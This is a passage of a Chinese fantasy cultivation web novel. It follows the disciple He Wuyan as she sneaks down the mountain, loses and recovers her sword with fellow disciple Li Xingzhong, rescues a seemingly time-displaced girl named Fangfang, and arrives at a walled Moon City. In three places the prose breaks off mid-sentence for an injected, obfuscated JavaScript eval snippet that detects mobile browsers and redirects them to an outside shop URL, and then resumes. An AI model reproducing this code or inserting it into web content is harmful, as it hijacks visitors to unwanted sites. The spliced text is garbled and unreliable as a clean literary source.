竹林低诉衷肠，轻轻柔柔地，似乎在念一些安眠的咒语，又像在唱摇篮曲，过了一会儿竟然有些像风铃声，高高低低的，煞是悦耳。 何无盐却是有些恍惚。 “师父，今日徒儿与宁无云师姐去看望在之师弟，李星中师弟也在，我们三人联手为他治疗时，星中师弟竟然使出了一手八卦掌法。” “哦？”何不山负手背对着她。竹叶随着风声起舞，组成了一曲美妙的乐章。 “更为神奇的是我们各自使一套功法，似乎对那魔教圣物青藤毒有效。” “竟有此事？”何不山微微侧过身来。“我三人为 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幽篁馆内，灵台烛不舍昼夜地亮着。灯光微稀，风一吹就抖上一抖。何无盐一直觉得这烛火很是可亲，毕竟陪着她度过了很多时光。不知是不是许久未到这里，今日看着烛光感觉尤其亲切温暖，神志清明了不少。 失去了黑衣人的踪迹，何无盐便先用神识在院内搜索了一圈，结下了天罗地网印。若是有人出来，必然逃不出去。来到室内，四周静悄悄地，待她正准备再细细搜索一圈时，却突然从左侧蹿出一个黑衣人。 两人动起手来。 对方手生的很。应该是为了不露出自己的马脚，又怕面罩被摘下，特意没有使出本门的功法不说，动作别捏又诡异。 何无盐自然不跟他客气，攻势越发猛烈，一招擒拿手，直奔对方面门而去。 没想到对面手脚还很灵活，直接倒地，躲过了她这一手。 “上天下地，无所遁形！” 口诀一出，天罗地网印急遽收缩，锁定了黑衣人。 黑衣人眼看自己身形无论如何变换，仍是甩不掉这印记，一下慌了神，使出了看家功夫，“吉吉如意令，退！退！退！” 因为长年跟宁无云过招，何无盐一眼就认出来这是青凌峰上的招数。 没有两下，何无盐就把对方制住了。 对方大喊：“大师姐手下留情！大师姐手下留情！” 他的同伙也齐齐冒出来：“大师姐，对不住，实在是对不住。” 何无盐被吓了一跳，再仔细一看，有两个颇为年长，身着雅一门的道服，是雅一门的俗家弟子。其中之一是马道长，幼年时何无盐才上山，受过他些许照拂。 看来他们正是引路人。 另外两人，是白日里和李星中一起的师弟。 “你们今日来此是为何？”不得已，何无盐开口，面上却是不动声色。 四人面面相觑，互推互让，谁也不敢说话。见状，何无盐催动了天罗地网印，被锁定的黑衣人痛苦地喊叫起来。 为首一人赶忙道，“大师姐。此二人是清一门人，听说息语林对修炼有奇效，十分好奇，所以想来看看。我二人便带他俩过来了。没想到打扰大师姐清修，是我等的不是，给师姐赔礼了。” “怎么，我不在这些时日，你们夜夜来做客？” “大师姐说笑了。”为首一人冷汗连连，赶忙找补，“只是我最近结交青凌峰上两位师弟，感觉颇为有缘，就想邀请他们来朝云峰上交流切磋一番。” “切磋到我息语林来了？” “是我等今日犯下门规，引外客来我门禁地，还请大师姐责罚！”为首之人汗如雨下，立即叩首。 说完这一番话，此人脸色也不好了，想来是话太多，触发了幽篁馆内的禁制。 此刻，两个清一门人的脸躲在阴暗处，又看不真切。 何无盐皱眉，也感觉到胸口有一些闷，“这里不是你们该来的地方，跟我离开。”几人便跟着何无盐离开了息语林。 远处的星辰甚是明亮，风甚是清凉。息语林在后山，紧贴着一片峭壁，星光洒下来，视野很开阔，隐隐的能看到远处的山峰。 “息语林的秘密乃是本门秘辛。此地之所以称息语林，除了不能言语的禁制之外，其中这修行的秘辛也不足为他人道。即使是本门中人，也只能自行领悟，无法言传。”何无盐道，“你们两没有机缘，领会不到其中的奥妙，可惜了。” 又对着清一门的两人说：“清一门的修道之法与我门不同，息语林对你二人来说无甚作用。白费功夫倒是事小，耽误了修道事大。” “是是，师姐说得对。”两人诺诺道。 “你二人还是好好修行本门之法。能上山，自然是有慧根的有缘人，想来刻苦修行，必定会有果报。” “谨遵师姐教诲。”何无盐点点头。“去吧。明日还要早起修行。”四人这便告辞离开。 看来今日心思实在是杂乱，不适宜修行。朝云峰极高，星星似乎都已触手可及之处。吹了一会儿风，便回房去了。 4. 下山 何无盐想来想去，最后决定此番探查魔教消息，她非去不可。一来，她最近于修行上小有所成，还未露锋芒；二来，林师叔此次出行肯定会带上赵无邪和宁无云。无论是西南还是桐城，都要走官道，这样他们还能同行一段路程。 于是她就去找何不山。何不山捻了捻他的山羊胡，“只道你平日里一心修行，不愿管这些事情。看来这次下山，确实成长不少。既然想去，去问问你师叔吧。”谁知何不去座下弟子告知说他一早便去了青凌峰，找林师叔商议出行事宜。 何无盐正准备赶往青凌峰，没想到一声“大师姐！”，犹如魔音穿耳。怎么每次出门总能遇见这小子。 此时，何无盐突然想起了他给的那个礼物。 “大师姐，去哪儿呀？”何无奇又贴上来。 “……青凌峰。” “正好我也要去！” “……” 此刻的云雾层层叠嶂，不停翻滚，一波未平一波又起，气势汹涌，完全遮挡住了何无盐的视线。在这层层笼罩之下，三青山看起来很不真切，与往常十分不同。也亏的何无盐能找得到路，否则一不小心触发了在空中的禁制，那可不是闹着玩儿的。 但何无盐却没功夫想这些。路上，何无奇呱呱的嘴就没停过，说着说着就八卦到了何不山身上。 “最近师父在准备闭关，说不定这次可以突破北冥神功第八重。” “师父已经修行到如此境界了？若真是突破了第八重，可谓是大成了。魔教来了想必也有一战之力。不过这紧要关头，师父闭关，门内的之事当如何？若是魔教那边有什么动作又当如何？” “师父准备把门内各种事务都做了安排，交由大师兄负责，再让马师叔帮手。”这样一看，是准备让大师兄接班的意思了。 “至于魔教，正是怕魔教卷土重来，师父才想要抓紧在他们兴风作浪之前增强我门实力。” 不过，“马师叔？是俗家弟子吗？”何无盐想起偷偷溜进息语林的那四人。“是啊，留在山上的俗家弟子帮忙打理了不少门内之事。多亏了他们，不然大家都专心修行，这些琐碎事又谁来做呢？” 何无盐哑然。这些年她确实专心于修行，于其他事一概不知，被何无奇这么一问，突然有些汗颜。 于是她赶紧转移话题，“你最近修行的如何了？” 不提这个话题还好，何无奇别提多乐呵了，一提这个话题就变成了霜打的茄子，焉了吧唧的。何无盐一下就来了兴致。 “说说看，上次你不还问我来着。” …… 见到了何不去，他却说自己已有人选了。 “嗯，心怀正义、爱护百姓，不愧是我雅一门的人。不过此次出行的人选我已有安排。你也不必着急，现下抓紧时间好好修练，我看你的境界还能再提升一番。日后对上魔教，还得你们这样的中流砥柱。” 出了何不去的门，何无盐愁眉苦脸地看着何无奇。何无奇两手一摊：“大师姐，你瞅我也没用啊。”过了半晌，他问道：“你怎么跟师叔说的？” “我就毛遂自荐，说我想去西南。” “你是不是又说了一番想要除魔卫道、守护苍生的之类话？” “你怎么知道？” “我当然知道了。师姐，你应该说师父安排你去的。” 何无盐大惊。 “你说的不无道理。” 两人又沉默了半晌。 “也不知道师叔都安排了谁去。” “我。” “啊？谁？” “我。” “……” “大师姐，你刚才不还夸我吗？” 何无盐再次哑然。不错，雅一门中的人大多板正，恪守门规，对世事缺少几分人情练达。但何无奇这小子在这方面是无师自通，堪称天才。四处打听消息，确实需要这样的人。 “是了，你小子，确实是一把好手。” “那当然。” “你们哪天走？” “快了。五月初五。也就是后天了。” “几时出发？” “卯时三刻。” 何无盐突然想起早上来青凌峰却被何无奇抓包的事，灵光一闪，“何无奇，你送我的是什么？”这是指她刚回的朝云峰时何无奇送她的礼物。 “嘿嘿，大师姐，那东西叫金银罗盘，金罗盘一个，银罗盘一个，能互相感应到位置。给你的是金罗盘，银罗盘还在我手上……” “你小子，跟踪我是不是？” “大师姐，你这一走就是大半年，要是再拖上这么一年半载的，岂不是再也回不来了。这小玩意儿我寻了好久，正正好适合我俩。” 何无盐一下子不知道说什么了。出去那么久，果然还是应该给这小子带点东西回来。 “那正好。何无奇，你把银罗盘带上，我悄悄地跟着你出去。”何无盐有些不好意思。 “大师姐！”何无奇大吃一惊。这还是那个师父说东就不敢往西、把门规奉若至宝的大师姐吗！ “你小子！到底答不答应？就算我送你一程。” “行，我们从后山走。那你可早一点来！” 三青山脉自北而南，龙盘虎踞，延绵不绝，一眼望不到头。天一门落脚于此，借助山势气脉布下巨阙大阵，以天地灵气设下结界，其间又结合了无数小阵，结界之间环环相扣，将那些不怀好意的、觊觎的眼光隔绝在外，竟已千年之久。 偌大的门派，若非有缘人，绝不可能找到天一门具体所在。不过凡事有利有弊，对一般弟子而言，要出去，也不是一件容易的事。 百年前一战之后，门内弟子大多长年在山上修炼，对下山的路并不了解。不过也有像二师兄何无冥和赵无邪那样惊才绝艳之辈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482316|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，两人相约以阵斗法，先下山者胜。 像何无盐这样偶尔出门的，大多依靠师门给的引路符。不过这出去时的细节……却记不太清了。还是跟着何无奇偷偷溜出去为上策。 五月初五，卯时三刻。 何无盐早早地到了后山，服下敛息丸，只敢远远地在林子里看着。 只见林书心带着赵无邪、宁无云二人，一个身长如玉纤尘不染，一个轻盈灵巧亭亭而立，站在一起十分赏心悦目。 何无盐都忍不住盯着他们看了好久。另一边何不去带着二师兄何无冥、五师弟何无药，几个人在说着什么。 卯时三刻，何无奇这小子才刚刚赶到。何无盐默默摇头。 林书心道：“师兄，人已到齐，我们走吧。”何不去点点头，便结吉祥如意印，自印堂引出一团金黄色的光芒，口中念念有词。手中光芒突然飞向前方，眨眼之间已至数百里之外、寻常目力所不能及处。 “三青山此方向的结界暂已关闭，但能维持的时间不多，我们抓紧。”何不去道。 林书心自袖中拿出了一个小小的石雕，正是马踏飞燕。只见她对着石雕吹了一口气，两只马儿轻巧地踏着两只若隐若现的燕子落到了半空中，嘶鸣不已，身后拖着一顶烟雨轿。 “上轿吧。” 马踏飞燕速度极快，而且它甫一离开，结界就开始闭合了。但何无盐怕被两位师叔发现，一直等轿子在视线中消失了才敢跟上去。 她紧张地瞅着罗盘，跟着上面指示的方向高速飞行。没想到罗盘忽而指东、又忽而指西，方向总是不断的在变换，何无盐在心里暗暗骂开了：这东西到底准是不准？何无奇这厮给了她一个什么破玩意。 何无盐感知到周围大大小小的结界闭合越来越快、留下的缝隙越来越小，开始有些着急，不由得催促脚下的剑，剑身便嗡鸣起来。 何无盐暗叫不好，这把剑是她刚开始习剑时师父随手给的，硬度不算上乘，这么多年也用习惯了一直没换过，千万别承受不住折了才是。 但话又说回来，这还是何无盐第一次能自北而南看见三青山的全貌。北边山脉雄浑壮阔，往南则逐渐秀丽，青翠欲滴。而三清河顺势而下，绕着山川蜿蜒前行，一开始滔滔不绝，奔腾怒吼，冲刷着山间石壁；其间又有大小瀑布不计其数，数十里可闻。 她飞奔于千峰万仞之上，穿梭于乱石穿空之中；身下是湍急奔走的河流，是深不可测的极窄峡谷，是广袤无垠的大地。天地真是广阔。想来自己数十年自困竹林之中，满心满眼只容得下修道之事，实在是狭隘了。 马踏飞燕越走越快，眼前的结界只剩下可过一人的大小，何无盐急的火烧眉毛，不顾剑身越来越尖锐的嗡鸣，不断催促。 忽然，只听见“轰”的一声巨响，天空中，有两道影子从百丈之高落入水中，溅起两层楼高的水花，而后又归于沉寂。 5. 寻剑 半晌之后，两道人影一前一后冲出水面。 何无盐脑袋有轻微的嗡鸣，左肩隐隐作痛，身上还挂着水汽。她静坐于水面上，运起本草心诀。 河水静止了一瞬。而后河底的水草窸窸窣窣地向水面伸展，河面的浮游植物以肉眼可见的角度开始繁殖，五彩斑斓的绿在河上绽开。这样约莫持续了四分之一柱香的时间，一切又回归本来。 她睁开双眼，向四周怒目环视。只见一人，身着玄色，整暇以待，依剑坐于突出的岩石上。正是李星中。 即使怒不可遏，也不便发作。何无盐强按心头的火气：“李师弟，你怎么在这里？” 李星中倒是站了起来，规规矩矩地向何无盐行了礼，道：“没想到是大师姐。我奉师父之命，此行一起前去桐城。只是昨晚师父吩咐了我一些事要办，便来迟了，跟在他们身后。不知道大师姐这是？” 何无盐做贼心虚，好像被人踩着了尾巴，怒气一下消了一半。她说，“我也是，昨晚办事有些耽搁，今日来迟了。” “可，我怎么听说何师伯是带何无冥、何无风与何无奇三人同行。” 何无盐眼角抽搐，“我自动请缨，师父便同意了。”何不山确实也算是同意了，只是没过何不去那一关而已，这也不算她撒谎。 “哦，“李星中看着她，“既然如此，那看来我们还可以结伴而行。不过现在结界已经关闭了，要出去恐怕不容易。” “林师叔既然知道你会来迟，难道没有给你引路符吗？”何无盐故作惊讶。 “自然是给了，不过引路符只能指引我们出去，但却不知道师父他们的具体位置。” “这你不必担心。我们先出山，之后再去找他们汇合。” “大师姐你似乎受了一点伤，不要紧吗？” “多谢师弟关心，不过不打紧，我刚才已经治疗过了。你呢？有没有受伤？要不要我帮你治疗？”毫无防备被撞的是她，他能受个屁的伤。 “多谢大师姐，我没事。” “那就请吧，李师弟。” 李星中无话可说，掏出引路符来。一道蓝色的光从他另一只手腕沿着经脉迅速爬上了中指指尖，待他正准备点燃符纸之时，何无盐突然叫到：“且慢！”李星中的手顿了一顿。 “我的剑被河水冲走了。” 两人都沉默了一下。 何无盐捻了半天剑诀，却没有任何动静。 “我们先沿着河找一下吧。想来是刚才追马踏飞燕速度太快，剑身承受不了，此刻不愿意回应我。” 说着何无盐看了一眼李星中的剑。 剑身漆黑，泛着漂亮的锐利光泽，一看就不同凡响，和她那柄简直是天上地下。 “你的剑叫什么名字？”何无盐一边走一边问。 “玄冥。” “哦。好剑。”有名字的都是好剑呐，至少是出自铸剑名师之手。“林师叔给你的？” “不是。捡来的。” 能捡到这么好的剑，我怎么没有这个运气呢。何无盐暗自嘀咕。但看他不再言语，也不好再说什么，便开始专心找剑。 他们沿着河流往下游走了很久。 这树林人迹罕至，寸步难行，少不得要开辟道路，但又怕触动不知道在何处的阵法，不敢使用法术，只能用玄冥劈砍。一路上，两人着实提心吊胆，费好大的功夫，出了一身的汗。 也不知过了多久，何无盐道：“就在这附近了。”于是又捏了半刻的剑诀。仍旧是没有任何回应。 见状，李星中道，“不如先休息一会儿再试试。走了这么久也累了。” 何无盐略微有些尴尬，深知是自己耽误了行程，“我只怕追不上师叔他们。” 李星中两手往后脑袋一捧，身子往树上一靠，道：“已经跟丢了，倒也不急于这一时半刻。终点一致。实在不行，就去终点找他们。” 何无盐哑然。但他说的也没错，便在李星中旁边寻了一阴凉地坐了下来。两人看着河面静静地流淌。 半晌，何无盐道：“早就听赵师兄提起你们青凌峰上有九天之水，一泻千里，是三清河的源头。只是没想到这条河如此气势磅礴，竟然贯穿了整个山脉。” “我也是第一次见到。青凌峰上那点，就是涓涓细流，我们师兄弟打野兔累了有时就去边上洗把脸都得排队，很难与眼前这条大河联系起来。” 洗脸，那下游岂不是都用的是你们的洗脸水？ 何无盐略微沉默了一会儿，决定当做没听到，另起了一个话头： “打野兔？” “一般大师兄会烤来吃，不过炖着味道也很不错。” 何无盐一时震惊，顿了顿：“赵师兄下厨？”吃肉对修炼无多益处，一本正经的赵无邪不仅吃肉，还自己动手，还带着师兄弟们一起吃？何无盐突然被勾起了往事，心中有些触动。 “是啊，大师兄厨艺很好，师兄弟们都指望着他打点牙祭。” “你们还贪这点吃的？”他们现在其实一个月不吃不睡也不会有什么问题。修行之时，获得的部分能量会首先用于维持身体的正常运作，然后长期的修行会使得肌体慢慢发生一些改变，一方面能使身体机能自然增强，另一方面可以延缓身体的自然衰老，只是程度会因人、因功法而异。 “修炼之余的一点小乐趣罢了。” 何无盐沉默了一会儿。 “说来当年我上朝云峰也是机缘巧合。李姨跟我说我家乡发大水，我娘带着我四处讨生活，后来我娘病死了，她就收养了我。等到我五六岁的时候，李姨家小子病了，我就想抓野兔给他补补，没想到就在山上迷了路。或许是上天垂怜，无意之中撞见了天一门的山门和天梯。” “当时孩童心性，觉得好玩就鬼使神差的爬了上去。一开始是手脚并用，好几次滑了下来，摔的生疼；后来却慢慢地好爬了，明明几天没吃饭，但越爬越觉得神志清明、意犹未尽。也不知道爬了多久，竟然就到了顶。这才给我爬了上去，拜入师门。” “看来大师姐是有缘人。雅一门风讲究一个‘正’，身正心正者才能找到山门所在，资质不够的人就已被拒之门外了；找到山门所在后又要清心正念，面对天梯，但凡有一点害怕、担忧、犹豫或是不敬，路途就会变得越加艰难险阻，是以半途而废者甚多；能爬上朝云峰者，都有非凡的毅力、耐力和韧性。” 何无盐有些惊讶：“你如何得知？”没想到李星中竟然知道这些，而她这个当事人却一心修行，对别的都不闻不问，就算门内之事也一概不知，倒是有几分好笑。 李星中道：“雅一、清一、太一虽说已各自成一派，但终归是所出同源，又成天都在三青山脉里打转，只有太一门人丁稀少，又神龙见首不见尾的，了解不多，清、雅之间，知道这也不是什么稀罕事。” 何无盐想到上山之事……当时何无奇说李星中悄无声息地出现在龙吟顶上，连各个师叔都没有惊动，不禁开口问道：“那你当初是如何上山的呢？” “我嘛，眼睛一睁，就在山上了。” “眼睛一睁，就在山上了？” 李星中点点头。 “这种上山方式倒是闻所未闻。”何无盐打趣他。 “那时 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482317|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我尚年幼，来到龙吟顶之前的许多事情记不清了。只记得一睁眼，到了一个完全陌生的地方四面空空，风在呼啸，很冷。”李星中眼神微眯，似乎在想些什么。 一个小孩子到一个完全不认识的地方，还忘记了之前所有的事情，心里必定十分慌乱害怕。 何无盐对着他笑了一下以示安慰，转移了话题，“你们经常去打野兔？” “有时候也打一些斑鸠、果子狸什么的。” “那宁师姐也一起？” “宁师姐？”李星中反应了一会儿，“那是自然，赵师兄就是给宁师姐……师姐你没吃过？” “没时间。我和赵师兄宁师姐一起都是切磋练习，”何无盐假装无事的样子，“其余时间都在息语林里勤加修炼。再说雅一门规森严，这种玩闹之事不大合规矩。” “息语林？” “在后山。是一片竹林。”何无盐自知失言，涉及本门秘辛，不欲多做解释。 “倒是有听别的师兄弟提起过；据说对修行帮助极大，只是也有门人修炼不成的，不知道这其中修炼的秘法何在？” “这事涉及到本门的秘密，不方便透露。还请师弟多多包涵。”何无盐面露难色。但她突然话锋一转道，“说起来，前几日我正在打坐，你有几位师兄弟倒是深夜造访息，我便请他们回去了。” “噢？竟然有这种事？打扰大师姐的修行实在是不该，星中在此替他们赔礼了。” 何无盐想了想，还是道：“此地只对我雅一门人修行有奇效，外人若是想借这块风水宝地，只怕于修行有害而无益。但话又说回来，李师弟修行进境如此之快，想来也不需要这等外力协助。” “师姐谬赞了，当日不过是宁师姐让了我一二，侥幸得胜罢了。星中的资质却是比不上师姐的。”李星中看着何无盐笑着说。 后面这句师姐故意省却了姓氏，却不知道说的是宁无云还是何无盐了。何无盐十年未曾突破大关，此事是她心中的一根刺，是故这话听起来略有些刺耳。她默默在心里翻了个白眼。 “你当日使得，可是八卦掌？” “自然是紫薇剑法。”李星中也是微微一笑。 “可我看着怎么不太像。” “大师姐如何得知像与不像呢？据我所知，雅一门并不传授这门剑法。” 何无盐突然灵机一动，“借你的剑一用。” 李星中不知她借剑来干嘛，但看着她却说不出拒绝的话。 何无盐抽出佩剑，向河里翻身一跃，荡出数十米。初见她静立于水面上片刻，起势极为缓慢，不知不觉间，那局部的河水竟然随着剑意的方向在游走。此为紫薇剑法第三式，剑走游龙。 紫薇剑法乃是君子剑，君子不争，是为不器；进退有度，左右有局。 “你当日用的剑法争强好胜，剑意锋利，不惜将自己置于巨大的风险之中只求一胜。”何无盐已踏步到河的正中央，往前一刺、一崩、一点，倒插剑身于水面，“如何称得上君子呢？” 此时，河面起了变化，形成了一个不大不小的漩涡。只闻“铮”地一声，带起一股水浪。 正是何无盐那屡召不应的佩剑。 剑在空中绕行几圈，立于水面，飞到了何无盐的面前，发出嗡鸣声以示对何无盐使用玄冥剑的不满和抗议。 何无盐伸手去抓，但剑却旋转个不停，半分不肯妥协，弹开了她的手。何无盐嘴里念念有词，手上突然光芒大盛，紧紧纂住了剑柄，反手就是一劈。 河流生生地开了一道口子，直见河底。乱石与河水一同溅起，山间发出一声巨响。 6. 方方 须臾，水道缓缓合上。 既然已寻回了剑，正准备上岸，却依稀听见有人在哭。 扭头一看，河底翻上来一个人，在水浪最大的河中央游着挣扎。何无盐三两下就把人拎上了岸。 这是一名女孩，也就十六七岁的样子。穿着上下皆短的里衣，露出手臂、小腿和一部分大腿，浑身全湿透了。何无盐和李星中面面相觑，摸不着头脑。这寻剑怎么还寻出个人来？还是在这荒郊野岭？ “这位姑娘，你怎么样？” 仔细一看，女孩身上短衣的样式和材质似乎都与时人穿着不同，透出几分古怪。 刚一上岸，女孩就死命地呕水。呕完了水，女孩闻言抬了一下头，哭的间隙抽空回答了一下何无盐的问题，“我，我还行。”女孩口音颇为奇怪，但也能听的明白。 “姑娘，你怎么掉到水里了？你家在哪里？” “我……我……”她说着说着，带上了哭腔，没有一句听得清楚。 何无盐忙不迭地安慰她。 过了半晌，她终于哭够了，道，“我一不小心失足掉进河里了”。 “可你分明会游泳。”李星中冷不防地方来了这么一句。 女孩十分委屈，哭得更大声了：“呛水了谁还顾得上这么多……” “星中师弟！”何无盐被李星中气地翻了个白眼。“姑娘，我这个师弟向来如此，但他没有恶意，他刚才说的话千万不要往心上去。” “不知道姑娘家在何处？这里不通人烟，姑娘是怎么到这里来的？”李星中又开口。却没有回应。女孩似乎陷入了沉思之中。 李星中就这么看着她，而何无盐就这么看着李星中。 空气有些凝固了。三个人僵持了一会儿。 何无盐在心里默默感叹，心想：这李星中就这么看着人家，也不避嫌，真是不把礼节当一回事。手上拿出系在腰上的百宝袋，摸出银色的披风，“先披上吧。” “谢谢。”此时女孩抬头环视，发现自己在群山环绕之间，颇为吃惊，问道：“这是哪里？” “三青山脉。此处已经靠近南方了。” “三青山？三青山又在哪里？我家附近没有这样一座山。” 李星中道：“这么说来，你家就在附近？”可这附近有延绵不断的护山阵法，怎么会有村落？难道是前人在布置护山大阵时留下了些许真空地带，或者有些什么特别的安排？李星中一只手悄悄摸上了剑柄。说不定是魔教妖人派出来打探消息的。 “我被河水冲到下游来，但应该相距不远。” “大师姐，看来这女子是附近村落的人，我们不如就此把她送回去吧。”李星中试探地说道，心中更为戒备。 “不用你们送。你们告诉我这是哪里就行了，我自己回去。实在不行，送我去派出所，我找民警送我回去。” 两人听不懂她的话。“派出所？星中师弟，你可知道派出所是哪里？民警又是什么？”李星中摇摇头。 女孩颇为诧异，又上下打量他俩，露出一副吃惊的表情，开始掐指算。 “这是怎么回事……”还没算完，只见女孩脸色越来越白，嘴唇也变得越来越乌紫，正待继续，突然人一晃，一口血喷了出来，要倒未倒之际被李星中一把搂住。 两个人大眼对小眼。“别算了。再算，命就没了。”李星中一手揽着方方的腰，一手握住了她的手腕子。 清一和太一门人都颇通术数，看女孩脸色，想来已经是到了极限，算到了一些不该知道的事情。 半晌，这李星中搂着人家也不放手，何无盐有些看不下：“这位姑娘，你身上还是湿的，我这里有一些干净的衣服，先换上吧。星中师弟，劳烦你去拣一些柴火回来。” 李星中看了何无盐一眼，没说话便走了。 何无盐拿出自己的衣物披到她身上：“我们先换上干净的衣服，后面的事再商议如何？” “谢谢你。”女孩对何无盐勉强微笑，便接过了何无盐手里的衣服。 女孩穿上何无盐的衣服，略微大了些，挽了下袖口，总体还是合身，显得身材十分窈窕秀美。虽脸色苍白，但仍透出一股青春的活力。 看着自己的衣服在别人身上，感受还挺新奇，何无盐不由得默默地欣赏了一会儿。 “不知姑娘如何称呼？” “我叫方方。” “我是何无盐。刚才那位是我的师弟，李星中。”何无盐抱手，然后嘴上为李星中开脱了两句：“星中师弟没心没肺惯了，你不要跟他计较。” 不过她心中却是叫苦不迭：谁知道他平时啥样啊，李星中啊李星中，你可别再张嘴乱说话了。 方方见状，也学何无盐的样子抱了一下手。只不过本该左手放右手上的，她把右手放在了左手上，一副不甚熟练的样子。 “等星中师弟捡了柴火回来，还可以把衣服和头发烤一烤。” “谢谢。” 何无盐思来想去，纠结了半晌，终于道：“不知姑娘发生了什么？” 方方沉默了好一会儿。 “我会一些术数，给人算了一卦，连累了家中，这些时日被人一路追赶，慌乱之下，跳进了河里。”刚刚从水里起来，说了这么长一句话，多少有些上气不接下气，停顿了三四次。 何无盐不知道说什么好。若说再仔细盘问，怕伤了她的心；要说安慰人，她嘴又笨。 她又摸了摸百宝袋，里面还有一些红薯干，便递给方方：“先吃点东西，补充一下体力。”方方沉默了一会儿，接了过去，但也不怎么吃。 此时太阳正西沉，温暖的余晖散在风中，平等地撒在溪流、树叶和岩石上，也照射在方方的脸上。两人在河岸上静坐了很久。 李星中仿佛一去不回一般，直到太阳完全落下才出现，手里只抱着一束柴。何无盐撇撇嘴。估计这小子偷听完他们的对话才去拾柴的。 李星中架起柴，打了个响指，蓝光霹雳一闪，生起了火。何无盐搭起架子，把方方的衣物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17482318|201819||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 放在火上烤起来。 方方十分惊奇，陷入了沉思之中。 “方方姑娘，此时天色已晚，你有此变故，按理说应该休息一晚再出发。但我和星中师弟有要事在身，此处也是荒郊野岭，待久了恐生变故。” 这山里的阵法不知道会不会随时间有什么变化，还是先离开此处为妙。说到这里她看了李星中一眼，“恐怕得委屈一下你跟我们连夜出山。星中师弟，你以为呢？” “不错，我俩比较忙，出山之后还请姑娘自行离去，恕不奉陪。”李星中此言一出，何无盐再次心梗。 正准备说点什么挽回一下，没想到方方倒是不太介意：“无碍。你们救了我，我很是感激。出了这座山我自己想办法回去，就不给你们添麻烦了。” 何无盐也不知道说些什么找补，只能道，“那方方姑娘与我一起，星中师弟你引路。” “大师姐，还是我与方姑娘一路吧。”李星中看了一眼方方。 何无盐很严肃，“这不妥。方方姑娘还是与我一路。”刚刚你小子就抱着人家不撒手，这要是跟你一起，指不定还怎么占别人便宜呢。 一边想着，一边捏起飞天诀。剑一下子飞到何无盐的脚下，但仍然兀自旋转着，似乎是对何无盐的安排有所不满。 “啧。”何无盐一脚就踏了上去了。剑身嗡鸣了一下，就不再动弹。 “来，方方，此物御寒，你且披上。”说着又把银色披风掏了出来，“等会儿很冷。” 两人整理好后，只见李星中手上蓝光霹雳一闪，点亮了引路符。三人跟着七拐八拐，直到第二天天亮才出了山。 何无盐打开手上的罗盘，发现与何无奇他们相距甚远。她又看了一眼方方，已经脸色如同死人一样煞白。 “星中师弟，方方情况很不妙，你可有带治疗疾病的丹药？” “大师姐，你也知道，修行之人受师门之恩，即使未曾有入门的资格，老死前也可不染尘疾，是以未曾准备。” “再说方姑娘的情况，先是自断生机，后又欲窥天命，恐怕不是那么容易治愈的。” “既然如此，我们先找个地方歇歇脚，安置一下方方，再寻求医治之法。” “此处前不着村后不着店，看来也只能委屈方姑娘睡在这荒山野岭之中了。” 没想到方方闻言睁开了眼睛，自己掐指算了起来。 算完朝着东边一指：“前面大概三百里处有一处小镇。” 此时方方的面色却变得很红，呼气很重，是发了高烧。说完这话，就昏睡过去。 何无盐心下又有些吃惊。这姑娘年纪虽轻，小事能算得精确，大事又近乎能窥伺天机，恐怕是术数一门难得一见的天才了。想起方方落水的原因，果然会淹死的都是会游泳的。 李星中冷眼看了一眼方方，“偷窥了天机还贼性不改。” 说着自己掐了起来，“东偏南。四百二十里。” 于是三人按照李星中算出的结果，来到了月亮城。 7. 月亮城（一） 这个城池从天上看像是一轮弯月，弯月最上方是一处颇有派头的宫殿。但是此刻何无盐有另一件更为摸不着头脑的事。 绕城池一圈，却没有发现大门，这是什么道理？ 何无盐望着高高挂着的“月亮城”三个字，倒也惊叹于它的气势——城墙高达千余丈，倒是显得这个城池遗世而独立，颇有与世隔绝之感，真真像是一轮地上的弯月。 三人只得飞跃千丈的城墙。 进入月亮城，刚一落地，城中男女老少都停下手中的事，投来好奇的目光。其中多数在善意的打量，也有的带着警戒和怀疑，甚至略有敌意。 李星中便向在场年纪最大的一位卖菜老妪讨教：“婆婆，不知道这里有没有地方可以借宿？我们一行有人生了病，路过此地，需要借地方歇个脚。” “我一个老太婆，有没有地方，得城主大人说了算，我说了不算。” “那可否劳烦向城主通禀一声？” “城主是神主在月亮城的化身，我们这种平民，只有在神谕节上才能见到城主大人。”老妪连看也没看他们一眼。 “那婆婆，这下一次神谕节，不知在什么时候呢？” 老妪挥挥手，“城外人嘛，是没有资格见城主的。” “一星期以后！”一个小男孩欢天喜地的跑了过来，脖子上还挂着一把金锁。 老妪给了小男孩一巴掌。 “小孩子别乱说话。” 